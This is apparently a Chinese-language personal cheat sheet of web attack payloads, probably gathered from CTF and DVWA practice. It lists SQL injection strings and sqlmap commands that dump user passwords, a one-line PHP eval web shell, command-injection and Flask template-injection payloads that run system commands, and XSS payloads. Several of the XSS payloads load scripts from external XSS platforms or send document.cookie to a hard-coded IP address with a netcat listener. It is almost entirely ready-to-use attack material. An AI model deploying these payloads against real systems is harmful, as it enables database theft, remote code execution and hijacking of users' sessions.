sql注入
1---判断是否存在注入(字符型or数字型)
1' or 1=1#
2---猜测语句中字段数
1' order by 1
1' order by 2
1' order by 3
...
2得到字段数
或者
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
...
得到字段数
3---得到字段顺序
1' union select 1,2 #
4---获取当前数据库
1' union select 1,database()#
5---获取数据库中表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
1%27%2F**%2FUNIunionON%2F**%2FSELEselectCT%2F**%2F*%2F**%2FfrFROMom%2F**%2F%27fl4g
获取数据库中表名
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查表中列名
0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
查表中某一列信息
0' union select 1,password from users#
找到显示位
0' union select 1,2#
绕过姿势:
注释符代替空格,分割关键词
大小写绕过关键词
双写关键词绕过
盲注
显示表名
sqlmap
先使用框输入并提交,得到url
1~ 找到数据库
windows pyhton sqlmap.py -u "url" --cookie="security=low;PHPSESSID=xx" --dbs
linux sqlmap -u "url" --cookie="security=low;PHPSESSID=xxx" --dbs
2~ 指定数据库,找到所有的表
pyhton sqlmap.py -u "url" --cookie="security=low;PHPSESSID=xx" -D dvwa --tables
3~指定数据库指定表,找到所有的columns
pyhton sqlmap.py -u "url" --cookie="security=low;PHPSESSID=xx" -D dvwa -T users --columns
4~
pyhton sqlmap.py -u "url" --cookie="security=low;PHPSESSID=xx" -D dvwa -T users -C password --dump
暴库搜密码
pyhton sqlmap.py -u "url" --cookie="security=low;PHPSESSID=xx" --dbs
pyhton sqlmap.py -u "url" --cookie="security=low;PHPSESSID=xx" -D dvwa --tables
pyhton sqlmap.py -u "url" --cookie="security=low;PHPSESSID=xx" -D dvwa -T users --columns
pyhton sqlmap.py -u "url" --cookie="security=low;PHPSESSID=xx" -D dvwa -T users -C user,password --dump
源码泄露
dirsarch 爆破网站查找隐藏文件,黑盒变白盒
已有则利用木马
<?php @eval($_GET[x]); ?>
监控x变量,执行
注意去掉#
得到的路径复制到后面,加上参数
eval执行的是命令,加上分号
phpinfo中disable-functions显示禁用函数
csrf
构造连接,结合其他方式出发连接,更改密码,添加管理员等
sql盲注
1' and '1' = '1
数据库长度
1' and length(database())=4#
1' and ascii(mid(database(),1,1))=109#
1' and ascii(mid(database(),2,1))=109#
...
mysql
if
mysql有三个参数
命令行注入
127.0.0.1|dir
过滤'| '
构造127.0.0.1|| dir
上传文件&包含文件
可以先上传木马图片,再包含这个木马图片,从而执行这个图片
python flask利用漏洞
404的
{{ 7*7 }}
得到/49
{{ [].__class__.__mro__[-1].__subclass__()[40].read() }}
{{ [].__class__.__mro__[-1].__subclass__()[71].__init__.__globals__['os'].system('ls') }}
xss
如何使用:
将如下代码植入怀疑出现xss的地方(注意'的转义),即可在 项目内容 观看XSS效果。
</tExtArEa>'"><sCRiPt sRC=https://xss.pt/W7Y4></sCrIpT>
或者
</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fxss.pt%2FW7Y4%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
再或者以你任何想要的方式插入
https://xss.pt/W7Y4
再或者以你任何想要的方式插入
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
↓↓↓!~极限代码~!(可以不加最后的>回收符号,下面代码已测试成功)↓↓↓
<sCRiPt/SrC=//https://xss.pt/W7Y4>
xss----------------------
如何使用:
将如下代码植入怀疑出现xss的地方(注意'的转义),即可在 项目内容 观看XSS效果。
<script src=http://xsspt.com/l76Bsh?1536130298></script>
或者以你任何想要的方式插入
http://xsspt.com/l76Bsh?1536130298
*************************************************网址缩短*************************************************
再或者以你任何想要的方式插入
<script src=http://t.cn/RshW7Ua></script>
再或者以https,http双支持的方式插入
<script src=//xsspt.com/l76Bsh></script>
再或者以你任何想要的方式插入
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL2w3NkJzaD8nK01hdGgucmFuZG9tKCk='))>
xss----------------------
利用我的服务器
写好了evil.js
有xss的地方,加上
http://132.232.158.195/evil.js
就可以在服务器789端口监听到cookie
服务器:
sudo nc -lvvp 789
监听
使用
<script src=http://132.232.158.195/evil.js></script>
xss payload整理
闭合textarea标签
'></textarea></form><svg onload="s=createElement('script');body.appendChild(s);s.src='http://132.232.158.195/log?'+escape(document.cookie);">
'></textarea></form><script src='http://132.232.158.195/evil.js'></script>
img src处的脚本不会执行
var/log/apache2 看log日志
chrome 检测反射型xss
var img=createElement("img");
img.src="url:8000/log?" + escape(document.cookie);
document.body.appendChild(img);